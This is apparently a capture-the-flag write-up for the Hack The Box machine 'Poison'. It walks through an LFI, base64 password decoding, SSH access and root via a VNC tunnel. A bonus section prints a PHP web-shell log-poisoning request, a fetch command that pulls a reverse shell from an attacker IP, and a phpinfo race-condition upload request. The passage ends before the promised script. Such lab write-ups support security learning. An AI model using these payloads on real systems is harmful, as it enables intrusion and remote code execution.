The Poison
machine is a medium freeBSD box.
If you are italian you might want to check out the related video.
#Getting a Foothold
#Port Scanning
Doing basic scans with nmap
gives us the following situation
-
basic script + version scan:
nmap -sC -sV poison
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-19 00:32 CET Nmap scan report for poison (10.129.69.246) Host is up (0.055s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0) | ssh-hostkey: | 2048 e3:3b:7d:3c:8f:4b:8c:f9:cd:7f:d2:3a:ce:2d:ff:bb (RSA) | 256 4c:e8:c6:02:bd:fc:83:ff:c9:80:01:54:7d:22:81:72 (ECDSA) |_ 256 0b:8f:d5:71:85:90:13:85:61:8b:eb:34:13:5f:94:3b (ED25519) 80/tcp open http Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32) |_http-server-header: Apache/2.4.29 (FreeBSD) PHP/5.6.32 |_http-title: Site doesn't have a title (text/html; charset=UTF-8). Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 17.21 seconds -
full scan:
nmap -p- poison
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-19 00:32 CET Stats: 0:03:53 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan Connect Scan Timing: About 68.83% done; ETC: 00:38 (0:01:46 remaining) Stats: 0:03:55 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan Connect Scan Timing: About 69.27% done; ETC: 00:38 (0:01:44 remaining) Nmap scan report for poison (10.129.69.246) Host is up (0.055s latency). Not shown: 65533 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 336.94 seconds
As we can see from the scans, a web server seems to be listening
on port 80
.
#LFI on Web Server
By going to the web server we are met with a form telling us
which .php
script we want to test
By writing listfiles.php
on the form we get the following
It looks like the ouput given by an ls
command. Notice also that
in the url we see the file=listfiles.php
. It thus looks like we
have found a Local File Inclusion (LFI) which lets us read the
files in the remote machine. To check our hypothesis we simply
need to change the argument of the file
parameter to a file that
is situated outside the web server root directory, such as the
/etc/passwd
file to get
Since we were able to read the file, it seems we were correct on
the LFI. Notice also that charix
is a user of the machine. To
finish off, let us now read the suspicious pwdpbackup.txt
file
found from executing the listfiles.php
#Decoding pwdbackup.txt
The encoding used is probably a base64
. This is because
-
The length of the encoded part is a multiple of 4 as we can see from the following command
expr $(cat pwdbackup.txt | tr -d '\n' | wc -c) / 4
291 -
Every character is in the set of valid characters, which is
\[\{A,\ldots, Z\} \cup \{a, \ldots,z\} \cup \{0, \ldots, 9\} \cup \{+, /\}\]
as well as one, two, or three occurences of the \(=\) character at the end for padding reasons.
Since the text says that the passwd was encoded multiple times,
to decode it let us write the following script in a file named
decode.sh
.
#!/usr/bin/bash
END=13
FILE="pwdbackup.txt."
for i in $(seq 0 $END); do
(cat $FILE$i | base64 -d) > $FILE$((i+1))
done
The variable END
is used to specify how many items the decoding
should take place. The script simply starts by taking file
pwdbackup.txt.0
, decoding it using the command base64 -d
and
writing the resulting content in a new file named
pwdbackup.txt.1
. This process is repeated until i
reaches the
value END
. At the end of the process the file of interest is
pwdbackup.txt.13
, which is the file obtained by decoding 13
times
the original file.
cp pwdbackup.txt pwdbackup.txt.0
./decode.sh
ls -lha
totale 72K drwxr-xr-x 2 leo leo 4,0K 19 dic 01.10 . drwxr-xr-x 3 leo leo 4,0K 19 dic 00.32 .. -rwxr-xr-x 1 leo leo 127 19 dic 01.10 decode.sh -rw-r--r-- 1 leo leo 1,2K 19 dic 01.06 pwdbackup.txt -rw-r--r-- 1 leo leo 1,2K 19 dic 01.10 pwdbackup.txt.0 -rw-r--r-- 1 leo leo 872 19 dic 01.10 pwdbackup.txt.1 -rw-r--r-- 1 leo leo 53 19 dic 01.10 pwdbackup.txt.10 -rw-r--r-- 1 leo leo 37 19 dic 01.10 pwdbackup.txt.11 -rw-r--r-- 1 leo leo 25 19 dic 01.10 pwdbackup.txt.12 -rw-r--r-- 1 leo leo 16 19 dic 01.10 pwdbackup.txt.13 -rw-r--r-- 1 leo leo 645 19 dic 01.10 pwdbackup.txt.2 -rw-r--r-- 1 leo leo 475 19 dic 01.10 pwdbackup.txt.3 -rw-r--r-- 1 leo leo 349 19 dic 01.10 pwdbackup.txt.4 -rw-r--r-- 1 leo leo 256 19 dic 01.10 pwdbackup.txt.5 -rw-r--r-- 1 leo leo 187 19 dic 01.10 pwdbackup.txt.6 -rw-r--r-- 1 leo leo 138 19 dic 01.10 pwdbackup.txt.7 -rw-r--r-- 1 leo leo 102 19 dic 01.10 pwdbackup.txt.8 -rw-r--r-- 1 leo leo 73 19 dic 01.10 pwdbackup.txt.9cat pwdbackup.txt.13
Charix!2#4%6&8(0
From the last file we get the password Charix!2#4%6&8(0
.
#Getting inside with ssh
Using the password obtained in the previous step we are able to
log inside the machine using ssh
as follows
ssh charix@poison
when we are asked for a password we simply need to give the password we have found in the previous step.
#Privilege Escalation
#User flag
Once we are inside getting the user flag is straight forward.
ls -lha
total 48
drwxr-x--- 2 charix charix 512B Mar 19 2018 .
drwxr-xr-x 3 root wheel 512B Mar 19 2018 ..
-rw-r----- 1 charix charix 1.0K Mar 19 2018 .cshrc
-rw-rw---- 1 charix charix 0B Mar 19 2018 .history
-rw-r----- 1 charix charix 254B Mar 19 2018 .login
-rw-r----- 1 charix charix 163B Mar 19 2018 .login_conf
-rw-r----- 1 charix charix 379B Mar 19 2018 .mail_aliases
-rw-r----- 1 charix charix 336B Mar 19 2018 .mailrc
-rw-r----- 1 charix charix 802B Mar 19 2018 .profile
-rw-r----- 1 charix charix 281B Mar 19 2018 .rhosts
-rw-r----- 1 charix charix 849B Mar 19 2018 .shrc
-rw-r----- 1 root charix 166B Mar 19 2018 secret.zip
-rw-r----- 1 root charix 33B Mar 19 2018 user.txt
#Downloading secret.zip
Notice also in the home folder the secret.zip
file. By
downloading it using nc
to our machine and unzipping it using the
password we have previously obtained (Charix!2#4%6&8(0
) we see
the following content
unzip secret.zip
Archive: secret.zip [secret.zip] secret password: Charix!2#4%6&8(0 extracting: secretfile
secret: Non-ISO extended-ASCII text, with no line terminatorshexdump -C secret
00000000 bd a8 5b 7c d5 96 7a 21 |..[|..z!|
#Checking Processes and Ports
Continuing on the remote machine, by checking the processes with
ps aux
we see the following
ps aux
...
root 614 0.0 0.9 23620 8868 v0- I 00:33 0:00.02 Xvnc :1 -desktop X -httpd /usr/local/share/tightvnc/classes -auth /root/.Xauthority -geometry 1280x800 -depth 24 -rfbwait 120000 -rfbauth /root/.vnc
...
As we can see, the xvnc
program is running as root
. By running
the sockstat
program we are able to see that xvnc
is listening on
the following two ports
sockstat
...
root Xvnc 614 0 stream /tmp/.X11-unix/X1
root Xvnc 614 1 tcp4 127.0.0.1:5901 *:*
root Xvnc 614 3 tcp4 127.0.0.1:5801 *:*
root Xvnc 614 4 stream /tmp/.X11-unix/X1
root Xvnc 614 5 stream /tmp/.X11-unix/X1
...
#Setting up the ssh tunnel
Since the port is only listening to the local interface
(127.0.0.1
), to connect to it from our machine we have to set up
an ssh tunnel
, which lets us connect a port from our local
interface to the local interface of the remote machine. This can
be done with the following command
ssh charix@poison -L 1337:localhost:5901
#Root flag
Once we have set that up we can simply use the vncviewer
program
for our local machine and connect to our local port
localhost:1337
. The ssh tunnel will do the rest and will connect
us to the process listening on the remote server.
vncviewer -passwd secret localhost:1337
Notice the file secret
was the file we had obtaiend by unzipping
the secret.zip
file found on the remote machine. Once we execute
this command we spawn a graphical shell as root and we are able
to read the root flag.
{{< figure position="center" src="/img/writeup/htb-boot2root-poison/root_shell.png" caption="root shell on Poison" >}}
#Bonus
Let us now discuss two more ways that we can use to get inside the machine.
#Log Poisoning
The idea is to poison the access logs situated at
/var/log/httpd-access.log
and access them with the LFI in order
to get a RCE. To do this we can use the following HTTP request
GET /browse.php?file=/var/log/httpd-access.log HTTP/1.1
Host: poison
Upgrade-Insecure-Requests: 1
User-Agent: <?php system($_REQUEST['cmd']); ?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Then by accessing the log using the LFI are able to execute our
own commands using the cmd
parameter
Finally, to spawn a reverse shell we can do the following
-
Use python on our local machine to set up a web server
python3 -m http.server 1337
-
Use the
fetch
command on the remote machine through the poisoned log seen before to upload to the remote machine a reverse shell written in php in/tmp/shell.php
# fetch command fetch -o /tmp/shell.php http://<our_ip>:<our_port>/revshell.phpw # fetch command URL encoded fetch%20-o%20%2Ftmp%2Fshell.php%20http%3A%2F%2F10.10.14.54%3A8000%2Frevshell.php%20 # final request http://poison/browse.php?file=/var/log/httpd-access.log&cmd=fetch%20-o%20%2Ftmp%2Fshell.php%20http%3A%2F%2F10.10.14.54%3A8000%2Frevshell.php%20
-
Start listeing on the port encoded in the rev shell and visit the following URL
http://poison/browse.php?file=/tmp/shell.php
#phpinfo() + LFI = RCE
Another way to spawn a shell is to use a known vulnerability of php, documented by Insomnia, which can be exploited when the following requirements are satisfied:
-
The
file_uploads
variable is true. -
We can acess the
phpinfo()
page. -
We have a LFI on the web server.
Since in our case all these requirements are satisfied we can go and exploit this vulnerability.
The main idea behind this attack is that if we upload a file with
the following POST request to the phpinfo()
page
POST /phpinfo.php HTTP/1.1
Host: 10.129.71.38
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.92 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.129.71.38
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=--Boundary
Content-Length: 139
----Boundary
Content-Disposition: form-data; name="dummyname"; filename="test.php"
Content-Type: text/plain
<?php echo "hello World!";?>
----Boundary
then by using the output of the phpinfo()
page we are able to see
the temporary path in which the uploaded file was temporarily
copied.
by going to that path with our LFI then we are able to spawn a shell.
The only problem with this approach is that the temporary file is destroyed as soon as the request is handled by the php engine. This means that in order to request the file before it gets destroyed we need to create a race condition, which can be done with by using the following python script.